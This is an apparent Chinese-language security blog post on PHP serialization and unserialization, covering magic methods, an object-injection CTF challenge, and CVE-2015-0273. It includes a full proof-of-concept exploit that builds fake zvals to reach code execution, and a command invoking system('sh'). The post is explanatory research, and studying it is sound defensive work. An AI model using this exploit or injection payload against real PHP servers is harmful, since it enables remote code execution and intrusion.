目录 1 . 序列化的定义 2 . serialize:序列化 3 . unserialize:反序列化 4 . 序列化、反序列化存在的安全风险 5 . Use After Free Vulnerability in unserialize() with DateTime* [CVE- 2015 - 0273 ] 6 . PHP中的内存破坏漏洞利用(CVE- 2014 -8142和CVE-
目录
<span>1</span><span>. 序列化的定义 </span><span>2</span><span>. serialize:序列化 </span><span>3</span><span>. unserialize:反序列化 </span><span>4</span><span>. 序列化、反序列化存在的安全风险 </span><span>5</span>. Use After Free Vulnerability <span>in</span> unserialize() with DateTime* [CVE-<span>2015</span>-<span>0273</span><span>] </span><span>6</span>. PHP中的内存破坏漏洞利用(CVE-<span>2014</span>-8142和CVE-<span>2015</span>-<span>0231</span>)
1. 序列化的定义
序列化在计算机科学中通常有以下定义:
<span>1</span><span>. 对同步控制而言,表示强制在同一时间内进行单一存取 </span><span>2</span>. 在数据储存与传送的部分是指将一个对象存储至一个储存媒介,例如档案或是记亿体缓冲等,或者透过网络传送资料时进行编码的过程,可以是字节或是XML等格式。而字节的或XML编码格式可以还原完全相等的对象。这程序被应用在不同应用程序之间传送对象,以及服务器将对象储存到档案或数据库。相反的过程又称为反序列化
序列化有多个优点
<span>1</span><span>. 一个简单和持久的方法使对象持续 </span><span>2</span><span>. 一个发起远程过程调用的方法,例如在SOAP内的 </span><span>3</span>. 一个分发对象的方法,尤其是在如COM及CORBA的软件组件化内
Relevant Link:
http:<span>//</span><span>zh.wikipedia.org/wiki/%E5%BA%8F%E5%88%97%E5%8C%96</span> http:<span>//</span><span>baike.baidu.com/view/160029.htm</span>
2. serialize:序列化
serialize: 产生一个可存储的值的表示
serialize() 返回字符串,此字符串包含了表示 value 的字节流,可以存储于任何地方。这有利于存储或传递 PHP 的值,同时不丢失其类型和结构
serialize() 可处理除了 resource 之外的任何类型,包括
<span>1</span><span>. 指向其自身引用的数组 </span><span>2</span><span>. serialize() 的数组/对象中的引用也将被存储(引用本身也会被序列化) </span><span>3</span>. ...
从本质上来讲,序列化的过程是一个"对象(广义上的对象,包括integer、float、string、array、object)"进行"对象销毁",然后转换为一个通用的中间可存储字符串,在整个序列化过程中,对象经历的声明周期如下
<span>1</span><span>. __sleep(): 在执行对象销毁前获得执行权限 </span><span>2</span>. __destruct():执行实际的对象销毁操作
code
<span>php </span><span>class</span><span> Connection { </span><span>var</span><span> $protected_var; </span><span>var</span><span> $private_var; </span><span>public</span><span> function __construct($server, $username, $password, $db) { echo </span><span>"</span><span>function __construct() is called</span><span>"</span> . <span>"</span><span></span><span>"</span><span>; $</span><span>this</span>->protected_var = <span>"</span><span>protected_var</span><span>"</span><span>; $</span><span>this</span>->private_var = <span>"</span><span>private_var</span><span>"</span><span>; } function __destruct() { echo </span><span>"</span><span>function __destruct() is called</span><span>"</span> . <span>"</span><span></span><span>"</span><span>; } </span><span>public</span><span> function __sleep() { echo </span><span>"</span><span>function __sleep() is called</span><span>"</span> . <span>"</span><span></span><span>"</span><span>; } </span><span>public</span><span> function __wakeup() { echo </span><span>"</span><span>function __wakeup() is called</span><span>"</span> . <span>"</span><span></span><span>"</span><span>; } } </span><span>//</span><span>initialize a var</span> $obj = <span>new</span><span> Connection(); </span><span>//</span><span>var_dump($obj);</span> <span> $result </span>=<span> serialize($obj); </span><span>//</span><span>var_dump($result);</span> <span> unserialize($result); </span>?>
Relevant Link:
http:<span>//</span><span>php.net/manual/zh/function.serialize.php</span> http:<span>//</span><span>php.net/manual/zh/language.oop5.magic.php#object.wakeup</span> http:<span>//</span><span>php.net/manual/zh/language.oop5.decon.php</span>
3. unserialize:反序列化
从已存储的表示中创建 PHP 的值
unserialize() 对单一的已序列化的变量进行操作,将其转换回 PHP 的值
在反序列化中,经历的对象声明周期为
<span>1</span><span>. __construct():执行对象注册、包括对象中成员的注册 </span><span>2</span>. __wakeup:在构造函数执行后获得执行权限
Relevant Link:
http:<span>//</span><span>php.net/manual/zh/function.unserialize.php</span>
4. 序列化、反序列化存在的安全风险
0x1: 对象注入
<span>php #GOAL: </span><span>get</span><span> the secret; </span><span>class</span><span> just4fun { </span><span>var</span><span> $enter; </span><span>var</span><span> $secret; } </span><span>if</span> (isset($_GET[<span>'</span><span>pass</span><span>'</span><span>])) { $pass </span>= $_GET[<span>'</span><span>pass</span><span>'</span><span>]; </span><span>if</span><span>(get_magic_quotes_gpc()) { $pass</span>=<span>stripslashes($pass); } $o </span>=<span> unserialize($pass); </span><span>if</span><span> ($o) { $o</span>->secret = <span>"</span><span>?????????????????????????????</span><span>"</span><span>; </span><span>if</span> ($o->secret === $o-><span>enter) echo </span><span>"</span><span>Congratulation! Here is my secret: </span><span>"</span>.$o-><span>secret; </span><span>else</span><span> echo </span><span>"</span><span>Oh no... You can't fool me</span><span>"</span><span>; } </span><span>else</span> echo <span>"</span><span>are you trolling?</span><span>"</span><span>; } </span>?>
serialize一个just4fun的对象,序列化之前先进行引用赋值
$o->enter = &$o->secret
0x2: PHP Session 序列化及反序列化处理器
http:<span>//</span><span>drops.wooyun.org/tips/3909</span>
0x3: 基于序列化、反序列化的Webshell隐藏技巧
http:<span>//</span><span>www.cnblogs.com/LittleHann/p/3522990.html</span> 搜索:<span>0x22</span>: PHP的序列化、反序列化特性布置后门
Relevant Link:
http:<span>//</span><span>drops.wooyun.org/papers/660</span>
5. Use After Free Vulnerability in unserialize() with DateTime [CVE-2015-0273]
A use-after-free vulnerability was discovered in unserialize() with DateTime/DateTimeZone objects's __wakeup() magic method that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.
0x1: Affected Versions
Affected <span>is</span> PHP <span>5.6</span> 5.6.<span>6</span><span> Affected </span><span>is</span> PHP <span>5.5</span> 5.5.<span>22</span><span> Affected </span><span>is</span> PHP <span>5.4</span> 5.4.<span>38</span><span> Affected </span><span>is</span> PHP <span>5.3</span> 5.3.<span>29</span>
0x2: 漏洞源代码分析
\php-src-master\ext\date\php_date.c
<span>static</span> <span>int</span> php_date_initialize_from_hash(php_date_obj **dateobj, HashTable *<span>myht) { zval </span>*<span>z_date; zval </span>*<span>z_timezone; zval </span>*<span>z_timezone_type; zval tmp_obj; timelib_tzinfo </span>*<span>tzi; php_timezone_obj </span>*<span>tzobj; z_date </span>= zend_hash_str_find(myht, <span>"</span><span>date</span><span>"</span>, <span>sizeof</span>(<span>"</span><span>data</span><span>"</span>)-<span>1</span><span>); </span><span>if</span><span> (z_date) { convert_to_string(z_date); z_timezone_type </span>= zend_hash_str_find(myht, <span>"</span><span>timezone_type</span><span>"</span>, <span>sizeof</span>(<span>"</span><span>timezone_type</span><span>"</span>)-<span>1</span><span>); </span><span>if</span><span> (z_timezone_type) { convert_to_long(z_timezone_type); z_timezone </span>= zend_hash_str_find(myht, <span>"</span><span>timezone</span><span>"</span>, <span>sizeof</span>(<span>"</span><span>timezone</span><span>"</span>)-<span>1</span><span>); </span><span>if</span><span> (z_timezone) { convert_to_string(z_timezone); ...</span>
The convert_to_long() leads to the ZVAL and all its children is freed from memory. However the unserialize() code will still allow to use R: or r: to set references to that already freed memory. There is a use after free vulnerability, and allows to execute arbitrary code.
0x3: poc
<span>php $f </span>= $argv[<span>1</span><span>]; $c </span>= $argv[<span>2</span><span>]; $fakezval1 </span>= ptr2str(<span>0x100b83008</span><span>); $fakezval1 .</span>= ptr2str(<span>0x8</span><span>); $fakezval1 .</span>= <span>"</span><span>\x00\x00\x00\x00</span><span>"</span><span>; $fakezval1 .</span>= <span>"</span><span>\x06</span><span>"</span><span>; $fakezval1 .</span>= <span>"</span><span>\x00</span><span>"</span><span>; $fakezval1 .</span>= <span>"</span><span>\x00\x00</span><span>"</span><span>; $data1 </span>= <span>'</span><span>a:3:{i:0;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;i:1;}s:8:"timezone";s:3:"UTC";}i:1;s:</span><span>'</span>.strlen($fakezval1).<span>'</span><span>:"</span><span>'</span>.$fakezval1.<span>'</span><span>";i:2;a:1:{i:0;R:4;}}</span><span>'</span><span>; $x </span>=<span> unserialize($data1); $y </span>= $x[<span>2</span><span>]; </span><span>//</span><span> zend_eval_string()'s address</span> $y[<span>0</span>][<span>0</span>] = <span>"</span><span>\x6d</span><span>"</span><span>; $y[</span><span>0</span>][<span>1</span>] = <span>"</span><span>\x1e</span><span>"</span><span>; $y[</span><span>0</span>][<span>2</span>] = <span>"</span><span>\x35</span><span>"</span><span>; $y[</span><span>0</span>][<span>3</span>] = <span>"</span><span>\x00</span><span>"</span><span>; $y[</span><span>0</span>][<span>4</span>] = <span>"</span><span>\x01</span><span>"</span><span>; $y[</span><span>0</span>][<span>5</span>] = <span>"</span><span>\x00</span><span>"</span><span>; $y[</span><span>0</span>][<span>6</span>] = <span>"</span><span>\x00</span><span>"</span><span>; $y[</span><span>0</span>][<span>7</span>] = <span>"</span><span>\x00</span><span>"</span><span>; $fakezval2 </span>= ptr2str(<span>0x3b296324286624</span>); <span>//</span><span> $f($c);</span> $fakezval2 .= ptr2str(<span>0x100b83000</span><span>); $fakezval2 .</span>= <span>"</span><span>\x00\x00\x00\x00</span><span>"</span><span>; $fakezval2 .</span>= <span>"</span><span>\x05</span><span>"</span><span>; $fakezval2 .</span>= <span>"</span><span>\x00</span><span>"</span><span>; $fakezval2 .</span>= <span>"</span><span>\x00\x00</span><span>"</span><span>; $data2 </span>= <span>'</span><span>a:3:{i:0;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;i:1;}s:8:"timezone";s:3:"UTC";}i:1;s:</span><span>'</span>.strlen($fakezval2).<span>'</span><span>:"</span><span>'</span>.$fakezval2.<span>'</span><span>";i:2;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;R:4;}s:8:"timezone";s:3:"UTC";}}</span><span>'</span><span>; $z </span>=<span> unserialize($data2); function ptr2str($ptr) { $</span><span>out</span> = <span>""</span><span>; </span><span>for</span> ($i=<span>0</span>; $i8; $i++<span>) { $</span><span>out</span> .= chr($ptr & <span>0xff</span><span>); $ptr </span>>>= <span>8</span><span>; } </span><span>return</span> $<span>out</span><span>; } </span>?>
gdb php
run uafpoc.php assert "system\('sh'\)==exit\(\)"
Relevant Link:
https:<span>//</span><span>github.com/80vul/phpcodz/tree/master/research</span>
6. PHP中的内存破坏漏洞利用(CVE-2014-8142和CVE-2015-0231)
待研究
Relevant Link:
http:<span>//</span><span>drops.wooyun.org/papers/4864</span>
Copyright (c) 2014 LittleHann All rights reserved